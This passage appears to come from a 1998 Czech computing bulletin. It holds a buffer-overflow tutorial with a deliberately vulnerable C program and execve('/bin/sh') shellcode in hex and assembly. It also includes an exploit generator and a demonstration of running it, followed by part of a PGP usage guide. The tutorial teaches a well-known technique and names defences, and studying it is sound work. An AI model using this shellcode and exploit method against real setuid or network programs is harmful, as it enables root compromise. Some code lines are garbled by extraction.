málně omezit.

1 Buffer Overflow problem
http://www-miaif.ibp.fr/willy/security/

2 LinuxPrivs
http://www.kernel.org/pub/linux/libs/security/linux-privs/

3 Bezpečnostnı́ patch
http://www.phrack.com/52/P52-06

4 Projekt GGI
http://www.ggi-project.org/

Přetečenı́ bufferu
David Rohleder, 3. března 1998

Přetečenı́ bufferu je jednou z nejčastějšı́ch bezpečnost-
nı́ch děr v programech UNIXových systémů.

Programovacı́ jazyky, které umožňujı́ rekurzivnı́ volánı́
podprogramů (podprogram je rekurzivnı́, jestliže jeho no-
vá aktivace může začı́t ještě před tı́m, než se ukončı́ jeho
předchozı́ aktivace) musı́ pro jejich volánı́ použı́vat nějakou
dynamickou strukturu, která udržuje informace potřebné
k úspěšnému návratu z podprogramu. K tomuto účelu se
použı́vá zásobnı́k.

Oblasti

Nejdřı́ve si musı́me vysvětlit, jak je proces organizován v pa-
měti. Proces je rozdělen na tři hlavnı́ oblasti: text, data a zá-
sobnı́k.

• Textová oblast obsahuje kód programu a data urče-
ná pouze pro čtenı́. Tato oblast je v paměti označena
pouze pro čtenı́ a nenı́ možno do nı́ zapisovat. Pokus
o zápis vyvolá porušenı́ ochrany paměti. V Linuxu pro-
to nenı́ možné psát samomodifikujı́cı́ se programy (no
jo, kecám :–).

• Datová oblast obsahuje inicializovaná a neinicializo-
vaná data. Obsahuje všechny globálnı́ proměnné a dy-
namicky alokované proměnné. S velikostı́ datové ob-
lasti je možné manipulovat pomocı́ volánı́ brk(2)
a sbrk(2).

• Zásobnı́k sloužı́ předevšı́m k uloženı́ lokálnı́ch pro-
měnných a předávánı́ parametrů funkcı́m. Mezi bss
a zásobnı́k se ještě mapujı́ sdı́lené knihovny a věci,
které lze mapovat pomocı́ mmap(2).
?

6

6

env strings

argv strings

env pointers

argv pointers

argc

bss

data

text
0x00000000

zásobnı́k

heap

.........

Obrázek 6: Pamět’ při startu programu

Práce se zásobnı́kem

Zásobnı́ková oblast je souvislý blok paměti obsahujı́cı́ da-
ta. Na vrchol zásobnı́ku ukazuje (u procesorů Intel) registr
SP. Dno zásobnı́ku je na pevné adrese. Procesor použı́vá pro
manipulaci se zásobnı́kem dvě instrukce: PUSH pro ukládá-
nı́ a POP pro vybı́ránı́ dat ze zásobnı́ku. Zásobnı́k v závis-
losti na typu procesoru roste bud’ směrem k nižšı́m nebo
k vyššı́m adresám. U procesorů Intel, SPARC a MIPS roste
zásobnı́k směrem k nižšı́m adresám.

Zásobnı́k použı́vajı́ programy k volánı́ svých podprogra-
mů, předávánı́ parametrů a ukládánı́ lokálnı́ch proměn-
ných. Na zásobnı́ku jsou uloženy ve formě tzv. aktivačnı́ho
záznamu AZ. Při implementaci přidělovánı́ paměti bývá je-
den registr vyhrazen jako ukazatel na začátek aktuálnı́ho
aktivačnı́ho záznamu. Vzhledem k tomuto registru se pak
počı́tajı́ adresy datových objektů umı́stěných v aktivačnı́m
záznamu. U procesorů Intel se použı́vá registr BP (Base
Pointer). Naplněnı́ tohoto registru a přidělenı́ nového akti-
vačnı́ho záznamu je součástı́ volacı́ posloupnosti (prologu)
podprogramu. Volacı́ posloupnost je rozdělena mezi volajı́cı́
a volaný podprogram. Volajı́cı́ uložı́ do zásobnı́ku parame-
try předávané podprogramu. Pak zavolá pomocı́ instruk-
ce CALL volaný podprogram. Návratová adresa je uložena
na zásobnı́k. Volaný podprogram na zásobnı́k uložı́ ukaza-
tel na starý aktivačnı́ záznam (BP), pak do ukazatele BP
uložı́ vrchol zásobnı́ku a nakonec vyhradı́ mı́sto pro lokálnı́
proměnné. Podprogram potom inicializuje lokálnı́ proměn-
né a začne provádět své tělo.

Jeden typický přı́klad je na výpisu >Přı́klad
example1.c.

Pomocı́ gcc vygenerujeme assemblerový kód:

$ gcc -S -o example1.s example1.c

Přı́slušný kód pro volánı́ funkce f vypadá následovně:

pushl $3
pushl $2
pushl $1

call f
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int f(int a, int b, int c)
{

char buffer[5];
char buffer2[10];

return a+b;
}

void main(void)
{

f(1,2,3);
}

Výpis 7: Přı́klad example1.c

Program uložı́ tři argumenty v pořadı́ od poslednı́ho
k prvnı́mu na zásobnı́k a pak zavolá funkci f. Toto pořadı́
ukládánı́ parametrů na zásobnı́k umožňuje snadné volánı́
funkcı́ s proměnlivým počtem parametrů (funkce s výpust-
kou – int funkce(...)). Instrukce call f uložı́ na zá-
sobnı́k návratovou adresu (návrat je pak proveden instruk-
cı́ RET).

Volaný podprogram pak provede prolog:

/* uložı́ ukazatel na starý AZ do zásobnı́ku */
pushl %ebp
/* do BP uložı́ ukazatel na nový AZ */
movl %esp,%ebp
/* vyhrazenı́ mı́sta pro lokálnı́ proměnné */
subl $20,%esp

Uložı́ registr ukazujı́cı́ na stávajı́cı́ aktivačnı́ záznam
(ebp) a uložı́ do něj nový ukazatel na právě vytvářený zá-
znam. Pak vytvořı́ mı́sto pro lokálnı́ proměnné. Překladač
zarovnává proměnné na délku slova (tzn. v našem přı́padě
4B). Takže bytový buffer velikosti 5 bytů ve skutečnosti
zabı́rá 8 bytů a buffer2 zabı́rá 12 bytů. Proto je nutno od
SP odečı́st 20.

Obsah zásobnı́ku je znázorněn na obrázku >Obsah zá-
sobnı́ku.

-

buffer2[10] buffer[5] esp ret a b c .......

Obrázek 8: Obsah zásobnı́ku

Po provedenı́ těla podprogramu je nutné obnovit stav,
který byl před volánı́m podprogramu. Tento postup se na-
zývá návratová posloupnost (function epilog) a je opět roz-
dělen mezi volaný a volajı́cı́ podprogram. Volaný podpro-
gram odstranı́ ze zásobnı́ku lokálnı́ proměnné a obnovı́ uka-
zatel na předchozı́ AZ. Potom pomocı́ instrukce RET vrátı́ řı́-
zenı́ volajı́cı́mu podprogramu. Volajı́cı́ podprogram dokon-
čı́ návratovou posloupnost tı́m, že odstranı́ ze zásobnı́ku
parametry předávané podprogramu.

Návratová posloupnost volaného podprogramu:

/* odstraněnı́ lokálnı́ch proměnných ze zásobnı́ku */
movl %ebp,%esp
/* obnovenı́ ukazatele na AZ volajı́cı́ho podprogramu */

popl %ebp
/* návrat do volajı́cı́ho podprogramu */
ret

Návratová posloupnost volajı́cı́ho podprogramu:

/* odstraněnı́ předávaných parametrů ze zásobnı́ku */
addl $12,%esp

Přetečenı́ bufferu

Data se tedy do zásobnı́ku vkládajı́ od vyššı́ch adres k niž-
šı́m. Většina operacı́ se ovšem provádı́ od nižšı́ch adres
k vyššı́m adresám. Typickým přı́kladem může být kopı́ro-
vánı́ řetězců (viz výpis >Přı́klad example2.c).

#include <string.h>
#include <stdio.h>

void f(char *str)
{

char buffer[96];
/* tady jsou nějaké instrukce */

strcpy(buffer,str);

/* tady mohou být nějaké dalšı́ instrukce */
}

char retezec[512];

void main(void)
{

gets(retezec);
f(retezec);

}

$ gcc -o example2 example2.c
$ ./example2
Opravdu velmi ..... sem doplňte min. 90 \
znaků .... dlouhý string
^D
Segmentation fault (core dumped)
$

Výpis 9: Přı́klad example2.c

Zde programátor udělal chybu, když neošetřil stav, kdy
je do proměnné buffer uloženo vı́ce dat než je jejı́ velikost.
To se mu ovšem krutě vymstı́. Protože je proměnná buffer
uložena na zásobnı́ku, který roste od vyššı́ch adres k niž-
šı́m, jsou přepsány všechny informace, které se nacházejı́
nad proměnnou buffer. Naneštěstı́ zde ležı́ také návrato-
vá adresa do volajı́cı́ho podprogramu. Při pokusu o návrat
tedy s největšı́ pravděpodobnostı́ dojde k porušenı́ ochra-
ny paměti a k násilnému ukončenı́ procesu. Jak vypadá zá-
sobnı́k před a po volánı́ funkce strcpy() je na obrázku>Zásobnı́k.

Ale co s tı́m? Zatı́m to nevypadá na nějakou možnost
zneužitı́. Program se pokoušel provést kód, kde žádný kód
nebyl a tak interpretovat v podstatě náhodný kód nebo sáhl
do oblasti, ke které neměl přı́stup. Ale co se stane v přı́pa-
dě, kdy na daném mı́stě skutečně nějaký programový kód

bude? Kód se jednoduše provede.
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buffer[0]

Před volánı́m strcpy():

Po volánı́ strcpy():

O p r a v d u d l

esp retbuffer[0]

ouhy

esp ret

stri n g 0

..........

.............

Obrázek 10: Zásobnı́k

Nejjednoduššı́ přı́pad

Zřejmě nejjednoduššı́ je spuštěnı́ shellu. Na návratovou ad-
resu, kterou přepsal přı́liš dlouhý řetězec umı́stı́me volánı́
jádra execve pro spuštěnı́ shellu (/bin/sh). Jediné co mu-
sı́me vědět je, jak takové volánı́ vypadá (viz výpis >Přı́klad
example3.c).

#include <unistd.h>

int main()
{

char *name[2];

name[0]="/bin/sh";
name[1]=NULL;

execve(name[0],name,NULL);

return 0;
}

Výpis 11: Přı́klad example3.c

$ gcc -g -O example3.c -o example3

Výstup z gdb vypadá pro funkci main() následovně:

(gdb) disas main
Dump of assembler code for function main:
0x8048140 <main>: pushl %ebp
0x8048141 <main+1>: movl %esp,%ebp
0x8048143 <main+3>: pushl $0x0
0x8048145 <main+5>: pushl $0x0
0x8048147 <main+7>: pushl $0x8058828
0x804814c <main+12>: call 0x8048354 <execve>
0x8048151 <main+17>: xorl %eax,%eax
0x8048153 <main+19>: movl %ebp,%esp
0x8048155 <main+21>: popl %ebp
0x8048156 <main+22>: ret
End of assembler dump.
(gdb)

Disassemblovaný výstup z funkce execve():

0x8048354 <execve>: pushl %ebp
0x8048355 <execve+1>: movl %esp,%ebp
0x8048357 <execve+3>: pushl %ebx
0x8048358 <execve+4>: movl $0xb,%eax
0x804835d <execve+9>: movl 0x8(%ebp),%ebx

0x8048360 <execve+12>: movl 0xc(%ebp),%ecx
0x8048363 <execve+15>: movl 0x10(%ebp),%edx
0x8048366 <execve+18>: int $0x80
0x8048368 <execve+20>: movl %eax,%edx
0x804836a <execve+22>: testl %edx,%edx
0x804836c <execve+24>: jnl 0x804837e <execve+42>
0x804836e <execve+26>: negl %edx
0x8048370 <execve+28>: pushl %edx
0x8048371 <execve+29>: call 0x8050a44 <__normal_errno_location>
0x8048376 <execve+34>: popl %edx
0x8048377 <execve+35>: movl %edx,(%eax)
0x8048379 <execve+37>: movl $0xffffffff,%eax
0x804837e <execve+42>: popl %ebx
0x804837f <execve+43>: movl %ebp,%esp
0x8048381 <execve+45>: popl %ebp
0x8048382 <execve+46>: ret
0x8048383 <execve+47>: nop

Nejdůležitějšı́ činnostı́ knihovnı́ funkce execve je volánı́
jádra vytvářejı́cı́ nový proces. V Linuxu pro Intel se pro
volánı́ jádra použı́vá přerušenı́ int 80. Čı́slo funkce jádra se
předává v registru eax a přı́padné parametry pak v dalšı́ch
registrech. Čı́slo 0xb je právě čı́slo funkce v jádře, která
přepı́še stávajı́cı́ kód novým kódem a spustı́ jej.

Nynı́ by stačilo použı́t tuto část kódu jako řetězec, kte-
rým přetečeme buffer v nı́že uvedeném programu. Jsou
zde ovšem dva malé problémy. Řetězec „/bin/sh“ se do vo-
lánı́ execve() předává jako ukazatel na řetězec. Tento ře-
tězec je umı́stěn v datovém segmentu. Protože nemůžeme
počı́tat s tı́m, že program, který se snažı́me napadnout bu-
de mı́t někde v paměti řetězec „/bin/sh“ musı́me si ho dodat
sami. Druhý problém spočı́vá v tom, že kód obsahuje nulo-
vé byty – chceme totiž pro přetečenı́ bufferu použı́t volánı́
strcpy().

Řešenı́ prvnı́ho problému je následujı́cı́: řetězec „/bin/sh“
umı́stı́me na konec našeho řetězce s kódem. Nynı́ musı́me
ovšem zjistit adresu tohoto řetězce. Použijeme k tomu sek-
venci relativnı́ho skoku (jmp) a relativnı́ho volánı́ (call).
Instrukci jmp umı́stı́me na začátek kódu. Instrukci call
na konec kódu, těsně před řetězec „/bin/sh“. Instrukce jmp
provede relativnı́ skok na instrukci call, která uložı́ do zá-
sobnı́ku návratovou adresu a provede skok na instrukci těs-
ně za jmp. Instrukce call uložı́ na zásobnı́k adresu násle-
dujı́cı́ instrukce. Za call ovšem nenı́ instrukce, ale řetězec
„/bin/sh“. Tı́mto poněkud komplikovaným způsobem jsme
zı́skali adresu řetězce „/bin/sh“.

Druhý problém vyřešı́me pomocı́ instrukce xor
%eax,%eax, tak dostaneme do registru eax nulu bez uve-
denı́ nulového bytu. Tak na všechna mı́sta, kde by měla
být nula umı́stı́me nulu až v době běhu našeho kódu.
20
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#include <stdlib.h>

#define BUFFER_SIZE 96
#define AZ 12
#define NAS_BUFFER BUFFER_SIZE+AZ+1
#define NOP 0x90

/* Velikost bufferu, který se snažı́me přetéct.
* Na začátku bude obsahovat instrukce nop a * na konci adresy
* AZ ... velikost aktivačnı́ho záznamu
*/

/*
* řetězec použitý pro spuštěnı́ programu /bin/sh
* podle chuti je možno nahradit /bin/sh jinym programem
* se jménem o délce 7 znaků: např. /bin/ps
*/

char shell[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char *buff, *ptr;
unsigned long *addr, *addr_ptr;
int i;

void main(int argc, char *argv[])
{

if (argc<2) {
printf("špatný počet argumentů\n");
exit(1);

}

sscanf(argv[1],"%p",&addr);

if(!(buff = malloc(NAS_BUFFER))){
printf("Nedostatek paměti ???\n");
exit(1);

}

addr_ptr = (long *) buff ;

for(i=0;i<(NAS_BUFFER);i+=4)
*(addr_ptr++) = addr;

/* pár NOPů na začátek nemůže uškodit */

for(i=0;i<20;i++) *(buff+i) = NOP;

ptr=buff+20;
for (i=0;i<strlen(shell);i++) *ptr++=shell[i];

buff[NAS_BUFFER-1]=’\0’;

printf("%s\n",buff);
}

Výpis 12: Přı́k
začátku programu

b0\x0b"
40\xcd"

lad example5.c
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void main()
{

__asm__("
jmp 0x1f # skok na instrukci call
popl %esi # adresa řetězce /bin/sh
movl %esi,0x8(%esi) # druhý parametr volánı́ execve na zásob
xorl %eax,%eax #
movb %eax,0x7(%esi) # ukončı́ řetězec /bin/sh nulou
movl %eax,0xc(%esi) # třetı́ parametr volánı́ execve na zásob
movb $0xb,%al # syscall 11 -- execve
movl %esi,%ebx # prvnı́ parametr do %ebx
leal 0x8(%esi),%ecx # druhý parametr do %ecx
leal 0xc(%esi),%edx # třetı́ parametr do %edx
int $0x80 # volánı́ jádra execve
xorl %ebx,%ebx # proběhne pouze v přı́padě,
movl %ebx,%eax # že volánı́ execve selže, pak se volá
inc %eax #
int $0x80 # exit(0)
call -0x24 # zı́skánı́ adresy řetězce a návrat na za
.string \"/bin/sh\"

");
}

Výpis 13: Přı́klad

Z programu na výpisu >Přı́klad example4.c pak zı́s-
káme řetězec, který spolu s dalšı́mi částmi použijeme při
přetečenı́ bufferu. Program, který tento řetězec vytvořı́ je
na výpisu >Přı́klad example5.c.

Tı́mto způsobem vygenerujeme řetězec, který bude
na začátku obsahovat několik instrukcı́ NOP (pro jisto-
tu, nemusı́ tam být), pak řetězec, který spouštı́ program
/bin/sh a nakonec adresu začátku řetězce, kterou zadáme
jako parametr (touto částı́ přepı́šeme návratovou adresu).
Nynı́ ovšem musı́me zjistit, kde začı́ná proměnná buffer
na zásobnı́ku. Asi nejjednoduššı́ způsob je upravit program
example2.c, aby nám tuto adresu vytiskl (viz výpis >Přı́-
klad example6.c).

Funkčnost programu ověřı́me následovně:

$ gcc -o example5 example5.c
$ gcc -o example6 example6.c
$ ./example6
^D
Zásobnı́k: 0xbffffabc
$ ./example5 0xbffffabc | ./example6
$

A nynı́ na původnı́m programu:

$ ./example6
^D
Zásobnı́k: 0xbffffabc
$ ./example5 0xbffffabc | ./example2
$

Pokud jsme postupovali správně, tak se speciálnı́m
vstupem dosáhneme spuštěnı́ jiného programu (pokud to
nenı́ zřejmé, zkuste nahradit řetězec „/bin/sh“ řetězcem
„/bin/ps“). Představte si takovou chybu napřı́klad v pro-

gramu finger (dřı́ve byl spouštěn pod uživatelem root).
nı́k

nı́k

čátek

example4.c

Zneužitı́?

Možnost zneužitı́ takovéto programátorské chyby obvykle
závisı́ na charakteristice daného programu. O zneužitı́ se dá
hovořit zejména v přı́padě programů s propůjčenı́m identi-
fikace vlastnı́ka (suid) nebo aplikacı́ spuštěných s oprávně-
nı́m někoho jiného a čtoucı́ data od uživatele (např. sı́t’ové
démony). Asi nejznámějšı́ přı́pad takového druhu zneuži-
tı́ byl tzv. Morrisův internetový červ zneužı́vajı́cı́ mimo jiné
přetečenı́ bufferu při čtenı́ dat v démonu finger(1).

#include <string.h>
#include <stdio.h>

void f(char *str)
{

char buffer[96];
fprintf(stderr,"Zásobnı́k: %p\n",buffer);
strcpy(buffer,str);

}

char retezec[512];

void main(void)
{

gets(retezec);
f(retezec);

}

Výpis 14: Přı́klad example6.c

Obrana?

Správné programovacı́ techniky :–). Záměna funkcı́ typu
strcpy() za funkce strncpy(), gets() za fgets() a pod.

Dalšı́mi možnostmi jsou zejména speciálně upravené pře-
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kladače nebo přı́mo patch do jádra. O tom možná někdy
přı́ště...

Použitá literatura: (1), (2).

1 Smith, Nathan P.: Stack Smashing Vulnerabilities in
the UNIX Operating System
http://millcomm.com/~nate/machines/security/stack-smashing/

2 Aleph One: Smashing The Stack For Fun And Profit
Phrack 49

Pretty Good Privacy
Petr Kolář, 10.března 1998

Přestože Internet byl vytvořen na zakázku amerického
ministerstva obrany, patřilo zabezpečenı́ přepravovaných
souborů, zpráv a hesel proti zneužitı́ cizı́mi osobami k dosti
opomı́jeným otázkám. Pomocı́ klasických protokolů, jako
jsou telnet, FTP, SMTP, POP, HTTP a dalšı́, jsou informace
včetně hesel přepravovány většinou nezašifrovaně a s vel-
mi omezenými možnostmi, jak ověřit jejich pravost. Při-
tom odposlouchávánı́ provozu v sı́tı́ch je principiálně možné
a o tom, nakolik je využı́váno, kolujı́ děsivé fámy. O mnoho
lepšı́ nenı́ ani zabezpečenı́ souborů uložených v počı́tačı́ch
— i když vı́ceuživatelské systémy poskytujı́ ochranu soubo-
rů, ve většině systémů včetně téměř všech odrůd UNIXu
má správce počı́tače neomezený přı́stup ke všemu.

Se stále širšı́m použı́vánı́m sı́tı́ a s komercializacı́ Inter-
netu začalo být zabezpečenı́ přenášených i uložených dat
nezbytnostı́. Stále vı́ce počı́tačů je připojeno k Internetu,
který je použı́ván k osobnı́ i firemnı́ korespondenci jako do-
plněk či náhrada telefonu a faxu. Po sı́ti se přenášejı́ i tak
citlivá data jako přı́kazy k platbám, čı́sla účtů a kreditnı́ch
karet.

V roce 1991 byl v USA navržen zákon, podle kterého
mohou být vyráběna pouze taková šifrovacı́ zařı́zenı́, která
umožnı́ vládě USA (při splněnı́ podmı́nek daných dalšı́mi
zákony) dešifrovánı́ zpráv. Zároveň byla zahájena výroba či-
pů Clipper, ve kterých jsou zabudovány „tajné dveře“, které
toto dešifrovánı́ umožňujı́. Každá zpráva zašifrovaná (jinak
údajně velmi kvalitnı́ šifrou) čipem Clipper totiž obsahuje
použitý klı́č. Tento klı́č je (samozřejmě) zašifrován klı́čem
daného čipu, který je uložen rozdělený na dvě části u dvou
nezávislých organizacı́. Vláda USA může na základě soud-
nı́ho rozhodnutı́ zı́skat komponenty klı́če konkrétnı́ho či-
pu a s jejich pomocı́ dešifrovat všechny zprávy zašifrované
tı́mto čipem. Návrh zákona vyvolal obrovskou kampaň pro-
ti zasahovánı́ státu do soukromı́ jednotlivce vedenou pod
heslem „jestliže se soukromı́ postavı́ mimo zákon, pak pou-
ze ti, co stojı́ mimo zákon, budou mı́t soukromı́“. Jednı́m
z produktů této kampaně bylo vytvořenı́ programu PGP
(Pretty Good Privacy, v překladu něco jako „dost slušné
soukromı́“), který zpřı́stupňuje silné šifrovánı́ a autentizaci
informacı́ každému.

Klasické šifrovánı́ a šifrovánı́ s veřejným klı́čem

„Bezpečnost“ nejstaršı́ch „šifer“ byla založena na tom, že
algoritmus šifrovánı́ i dešifrovánı́ byl udržován v tajnosti.
„Šifrovánı́“ často spočı́valo pouze ve zvláštnı́m způsobu zá-
pisu jednotlivých znaků či slov zprávy, proto se nejednalo
o šifrovánı́ v pravém slova smyslu, ale o pouhé kódovánı́.

O skutečném šifrovánı́ lze mluvit až u postupů, u nichž
zašifrovaný výstup závisı́ nejen na obsahu vstupnı́ho soubo-

ru (nazývaného otevřený text), ale také na parametru na-
zývaném klı́č. Pokud se pro šifrovánı́ i dešifrovánı́ použı́vá
stejný klı́č, musı́ být udržován v tajnosti a proto mluvı́me
o šifrovánı́ s tajným klı́čem nebo o symetrickém kryptosys-
tému. Nevýhodou tohoto systému je fakt, že tajný klı́č musı́
mı́t odesı́latel i přı́jemce zprávy.

Dı́ky tomu, že šifrovaný výstup závisı́ na tajném klı́či, mo-
hou být algoritmy šifrovánı́ a dešifrovánı́ zveřejněny. Jejich
trvalé utajovánı́ je prakticky nemožné a pokud jsou sku-
tečně kvalitnı́, jejich znalost při dešifrovánı́ zpráv (pokud
se nepodařilo zı́skat klı́č nebo pokud nenı́ proveditelné vy-
zkoušet všechny možné klı́če) přı́liš nepomůže. Pokud ně-
které firmy přesvědčujı́ zákaznı́ky o tom, že jejich šifra je
bezpečná, protože je tajná (někdy je tento přı́stup nazýván
„security by obscurity“), bývá to často způsobeno tı́m, že
šifra je ve skutečnosti velmi slabá a proto musı́ být tajná.
Kvalitnı́ šifra je taková, která je delšı́ dobu známá, použı́-
vaná, a přesto odolává pokusům o luštěnı́ a zlomenı́.

Problémy s nutnostı́ udržovat klı́č v tajnosti a zároveň
zajistit, aby byl k dispozici odesı́lateli i přı́jemci zpráv, od-
straňujı́ asymetrické kryptosystémy, které použı́vajı́ pro šif-
rovánı́ a dešifrovánı́ dvojici různých klı́čů. Existence těchto
metod je založena na algoritmech, které na základě jedno-
ho nebo vı́ce náhodných vstupnı́ch parametrů, jež se po vý-
počtu zapomenou, spočı́tajı́ dvojici klı́čů. Ovšem i při zna-
losti algoritmu a jednoho z klı́čů je zjištěnı́ druhého klı́če
daleko mimo možnosti současné výpočetnı́ techniky.

Každý z uživatelů asymetrického kryptosystému tak má
dvojici klı́čů, z nichž jeden (soukromý klı́č) udržuje v taj-
nosti a druhý zveřejnı́. Proto se tento způsob šifrovánı́ také
nazývá šifrovánı́ s veřejným klı́čem. Dı́ky tomu, že je mož-
né šifrovat libovolným klı́čem z dvojice a dešifrovat druhým,
existujı́ dva způsoby použitı́:

• Zprávu zašifrovat použitı́m cizı́ho veřejného klı́če. Tı́m
se zajistı́ utajenı́ zprávy, protože ji může dešifrovat
pouze vlastnı́k přı́slušného soukromého klı́če.

• Zprávu šifrovat použitı́m vlastnı́ho soukromého klı́če.
Tı́m se utajenı́ nezajistı́, protože pro dešifrovánı́ zprá-
vy se použı́vá klı́č, který je veřejně přı́stupný. Dosáhne
se však autentizace — zpráva po dešifrovánı́ určitým
veřejným klı́čem dává smysl právě tehdy, když ji zašif-
roval vlastnı́k odpovı́dajı́cı́ho soukromého klı́če. Proto-
že v tomto přı́padě nenı́ cı́lem utajenı́ zprávy, je mož-
né mı́sto zašifrovánı́ připojit ke zprávě pouze (soukro-
mým klı́čem) zašifrovaný kontrolnı́ součet textu zprá-
vy, tak zvaný digitálnı́ podpis. Kdokoli může spočı́tat
kontrolnı́ součet zprávy a porovnat jej s dešifrovaným
podpisem. Jestliže kontrolnı́ součet závisı́ na obsahu
zprávy tak nepředvı́datelným způsobem, že nenı́ mož-
né zprávu upravit aniž by se součet změnil, pak sou-
hlas kontrolnı́ch součtů zaručuje, že zprávu skutečně
podepisoval člověk, který vlastnı́ přı́slušný soukromý
klı́č, a že od té doby nebyla zpráva změněna.

S použitı́m asymetrického kryptosystému lze přes ne-
zabezpečený komunikačnı́ kanál provádět i dalšı́ zdánlivě
nemožné věci (viz CHIP 1995/08).

Program PGP

PGP je program pro šifrovánı́ a autentizaci textových i bi-
nárnı́ch souborů. Byl vytvořen Philipem Zimmermannem
v roce 1991. Autorovi vynesl PGP soudnı́ řı́zenı́ a dı́ky zá-

kazu vývozu bezpečných šifrovacı́ch technologiı́ z USA je
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nadále vyvı́jen ve dvou kompatibilnı́ch řadách, jedné pro
USA, druhé pro zbytek světa. Stal se neoficiálnı́m standar-
dem pro šifrovánı́ a autentizaci e-poštovnı́ch a newsových
zpráv. Je k dispozici (1) ve zdrojovém i binárnı́m tvaru pro
všechny běžné platformy — MS DOS, OS/2, UNIXy, VMS,
Macintosh, Amiga, Atari ST.

Nejnovějšı́ verzı́ na počátku roku 1998 je PGP 5.5, ovšem
dı́ky nevyjasněným otázkám kompatibility, licencı́, apod., je
zatı́m doporučována verze 2.6.3i.

PGP šifruje vlastnı́ zprávu nebo soubor rychlou symetric-
kou šifrou IDEA s náhodně vygenerovaným tajným klı́čem.
Použitý klı́č je zašifrován asymetrickou šifrou RSA a ulo-
žen do výsledného souboru. Tı́m se zı́skajı́ výhody šifrovánı́
s tajným klı́čem při rychlosti šifrovánı́ tajným klı́čem. Pro
vytvářenı́ digitálnı́ch podpisů je použit algoritmus MD-5.

Úvodnı́ nastavenı́

Pokud nevyhovuje implicitnı́ umı́stěnı́ souborů s klı́či, kon-
figuračnı́ho souboru config.txt a dalšı́ souborů v adre-
sáři ~/.pgp, je třeba před použitı́m PGP nastavit proměn-
nou prostředı́ PGPPATH na cestu k adresáři, kde budou tyto
soubory.

Proměnnou PGPPATH bude třeba obvykle nastavit v ji-
ných systémech než je UNIX, stejně jako proměnnou TZ,
která musı́ obsahovat správnou časovou zónu (v České re-
publice stačı́ hodnota −1 pro zimnı́ a −2 pro letnı́ čas).

Vytvořenı́ vlastnı́ dvojice klı́čů

Pro práci s PGP je nutné nejdřı́ve vygenerovat svoji vlastnı́
dvojici klı́čů:

pgp -kg

Program PGP se zeptá na počet bitů klı́če (v součas-
nosti je doporučována délka 1024 bitů), vaši identifikaci —
jméno, přı́jmenı́ a něco, co zajistı́ jednoznačnost (nejlépe
e-mailová adresa — bývá zvykem ji psát mezi <>; pokud ji
nemáte, pak napřı́klad telefonnı́ čı́slo), pak se zeptá na hes-
lo (pass phrase), které zabraňuje, aby cizı́ osoba, která se
dostane k vašemu počı́tači, mohla použı́vat váš soukromý
klı́č, a na závěr vás požádá o mačkánı́ kláves a vygeneruje
dvojici klı́čů podle časových intervalů, které uplynou mezi
stisky kláves a podle stisknutých kláves. Přı́stupové heslo
si musı́te pamatovat. Neexistuje způsob, jak zapomenuté
přı́stupové heslo zjistit!

Soukromý klı́č udržujte v tajnosti, veřejný v textové
formě (zı́skané přı́kazem pgp -kxa) zveřejněte (uložte
jej do souboru .plan, aby jej bylo možné zjistit službou
finger, umı́stěte jej na svou WWW stránku, umı́stěte jej
na server PGP klı́čů (2) nebo (3), rozešlete jej svým part-
nerům e-poštou, apod.).

Soukromé klı́če jsou uloženy v souboru
~.pgp/secring.pgp, veřejné v ~/.pgp/pubring.pgp.

Šifrovánı́ souboru

Pro zašifrovánı́ souboru musı́ být použit veřejný klı́č osoby,
která bude soubor dešifrovat:

pgp -e soubor ID_adresáta

pgp -ea soubor ID_adresáta
Jako ID adresáta stačı́ uvést libovolný podřetězec iden-
tifikace adresáta. Prvnı́ přı́kaz vytvořı́ binárnı́ soubor a ulo-
žı́ jej do souboru soubor.pgp, druhý vytvořı́ textový sou-
bor (který je možné poslat napřı́klad e-poštou) a uložı́ jej
do souboru soubor.asc. Výstup v textovém tvaru můžete
také vyžádat uvedenı́m řádku

armor=on

v souboru config.txt. Součástı́ šifrovánı́ je i komprimace
— binárnı́ soubor, který vznikne zašifrovanı́m bývá kratšı́
než původnı́ soubor. Pokud se šifruje textový soubor, kte-
rý má být přenesen na systém, který použı́vá odlišné znaky
pro konec řádku, je třeba do voleb doplnit pı́smeno t. Pa-
rametrem -m požádáme, aby soubor nebyl při pozdějšı́m
dešifrovánı́ ukládán na disk, ale pouze zobrazován; účelem
volby je zabránit tomu, aby nezkušený přı́jemce zanechal
rozšifrovaný soubor někde na disku, nikoli aby zkušený uži-
vatel nemohl zprávu uložit do souboru.

Soubor je také možné přı́kazem

pgp -c soubor

pouze zašifrovat (pro uloženı́ na disku) symetrickou šifrou
IDEA.

Podepsánı́ souboru

Přı́kazy

pgp -s soubor [ -u váš_ID ]
pgp -st soubor [ -u váš_ID ]
pgp -sa soubor [ -u váš_ID ]
pgp -sta soubor [ -u váš_ID ]

podepı́šou soubor vašı́m soukromým klı́čem. Je-li uvede-
na volba -a, bude výsledný soubor textový se jménem
soubor.asc, jinak bude binárnı́ se jménem soubor.pgp.
Parametr -u váš ID se použije, máte-li vı́ce soukromých
klı́čů. Volba -t oznamuje, že vstupnı́ soubor je textový a že
znaky konce řádků majı́ být konvertovány podle zvyklostı́
přı́slušného systému. Pouze poslednı́ z přı́kazů vyproduku-
je čitelný soubor s podpisem.

Přı́kazy pro zašifrovánı́ a podepsánı́ je možné spojit:

pgp -es[t][a] soubor ID_adresáta [-u váš_ID]

Ve všech předchozı́ch přı́padech je možné pomocı́ para-
metru -o soubor stanovit jiné jméno výstupnı́ho souboru
(nenı́-li jméno s přı́ponou, doplnı́ se .pgp nebo .asc).

Dešifrovánı́ a ověřenı́ podpisu

K dešifrovánı́, přı́padně autentizaci souboru nebo došlé
zprávy sloužı́ jediný přı́kaz:

pgp zpráva -o výstup
Program PGP sám rozpozná, jaké operace má provést.
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Podepisovánı́ binárnı́ch souborů

PGP umožňuje podepisovat binárnı́ soubory tak, že soubor
zůstane nezměněn, a podpis se uložı́ do zvláštnı́ho souboru:

pgp -bs soubor
pgp -bsa soubor

V prvnı́m přı́padě se uložı́ binárnı́ podpis do souboru
soubor.sig, ve druhém textový do souboru soubor.asc.
Autentizace souboru se provede takto:

pgp soubor.asc soubor
pgp soubor.pgp soubor

Práce s klı́či

Jako nutné zlo s sebou PGP přinášı́ potřebu práce s klı́či.
Přı́kazy

pgp -k
pgp -kv [ ID ]

